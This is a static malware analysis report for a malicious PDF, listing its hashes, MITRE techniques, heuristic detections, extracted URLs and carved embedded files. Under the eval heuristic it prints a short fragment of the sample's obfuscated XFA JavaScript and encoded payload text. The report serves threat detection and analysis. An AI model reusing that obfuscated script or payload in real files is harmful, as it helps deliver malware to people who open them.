Malicious PDF — malware analysis report

Static analysis result for SHA-256 9583497dd99abd70…

MALICIOUS

PDF

91.8 KB Created: 2012-10-19 13:17:45 +04:00 Authoring application: Adobe Designer 7.0 First seen: 2013-08-29
MD5: 6c1add6cf3e54a03d31dababd2ed64c7 SHA-1: a6e09fbb283c1d976bd89ddae8cd7f333199ab1f SHA-256: 9583497dd99abd70db4b61d5e086b44a9576b353723497ca916a31326cff6aaa
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious Link T1566.001 Spearphishing Attachment T1204 User Execution

The PDF sample contains high-severity heuristics indicating the presence of executable scripts and embedded files. Specifically, the 'PDF_XFA_SCRIPT' and 'PDF_EVAL' firings suggest that JavaScript within the XFA form is being executed. This script likely attempts to download and execute a secondary payload, as indicated by the 'PDF_EMBEDDED_SCRIPT_PAYLOAD' heuristic and the presence of suspicious embedded files. The overall attack pattern points towards a malicious PDF designed to exploit vulnerabilities and deliver further malware.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9968

Heuristics 8

  • XFA form contains risky executable script high CVE related PDF_XFA_SCRIPT
    PDF embeds an XFA form whose script block contains exploit, submission/launch, or shell-execution primitives. Ordinary LiveCycle print/update scripts are left as generic XFA/JS signals unless stronger behavior is present.
  • eval() call high PDF_EVAL
    eval() found — commonly used for obfuscated exploit execution (matched inside decoded stream)
    Matched line in script
    return wasdf4fwe;}
app.eval(cxvvbwrwfwe(defdefdefdef));
      </script></event></field><draw xmlns="http://www.xfa.org/schema/xfa-template/2.2/" h="31.75mm" name="StaticText1" w="57.1499mm" x="63.5mm" y="66.675mm"><ui><textEdit></textEdit></ui><value><text>6&lt;-3=9*-w"=;B;5.51=x"=;T%5-yu&amp;89%5x"=;S%5-7=8wXw%5-yu"=;wPWw"=;Uv;5=&lt;;-w"=;S"&lt;2"=;9-7xCTw%5-yUv6&lt;-3=9*-w%92=966x&gt;5;"9*-yu&gt;1;w;*.wWwVkk3   ][  ]    &amp;c    k][  ]    (     &amp;][  ]    (    (7][  ]    (    ]k]]  ]    c    ^&amp;]]  ]    &amp;c   o ][ g&amp;   )mc          g[ …
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://DM.YY/aeatr In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.1/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.2/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-locale-set/2.1/In PDF document text
    • http://ns.adobe.com/xtd/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 9

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0050.bin pdf-embedded-file PDF EmbeddedFile object 50 at offset 0x13367 85 bytes
SHA-256: c06dcd026a7ea0536b63e07ce688691b585339a3ab7ff59065e546b56308c7bb
embedded_file_obj0051.bin pdf-embedded-file PDF EmbeddedFile object 51 at offset 0x13419 1526 bytes
SHA-256: f20aceb8dbc16d07642c756ca1ccc141a87f1f44f1a99949a4c6a6a8678b4c98
embedded_file_obj0052.bin pdf-embedded-file PDF EmbeddedFile object 52 at offset 0x136E9 6034 bytes
SHA-256: 51951d77db8b51f23ed133532450010ee8016d952a6404a1566a27612fad9a99
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
embedded_file_obj0053.bin pdf-embedded-file PDF EmbeddedFile object 53 at offset 0x142FE 175 bytes
SHA-256: aec62a373cc94aa9dc9611ff78d461347588875e1a0167a58b8e29603db85e11
embedded_file_obj0054.bin pdf-embedded-file PDF EmbeddedFile object 54 at offset 0x143CE 4800 bytes
SHA-256: 851068169faaac8fcdfa72571a46fea924d1fb0c33b95225802028dfa0b1c7a7
embedded_file_obj0055.bin pdf-embedded-file PDF EmbeddedFile object 55 at offset 0x1486A 212 bytes
SHA-256: 57045217c453d4674a08ad8778674bf199a7989a9505424a1815c016e6bb412f
font_00_cff_off0000138d.bin pdf-font-stream PDF embedded font (cff) at offset 0x138D 31178 bytes
SHA-256: 23831e143e2e1a484b95ee765b15d94562c951468b895c080e655667dc04ddf0
font_01_cff_off00007aef.bin pdf-font-stream PDF embedded font (cff) at offset 0x7AEF 64586 bytes
SHA-256: 96161e3d15cf67591ef2a1c87940c8dc0af59a94fcfab5d6bfcf4cb992a24af8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.45, consistent with packed or encrypted content.
font_02_cff_off000149cf.bin pdf-font-stream PDF embedded font (cff) at offset 0x149CF 4459 bytes
SHA-256: ee77a5890b4568bbe9e287cfeaf668a51425e0057381501432e59fb0e718680e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.42, consistent with packed or encrypted content.

Open this report in the interactive analyzer, or submit your own file for analysis.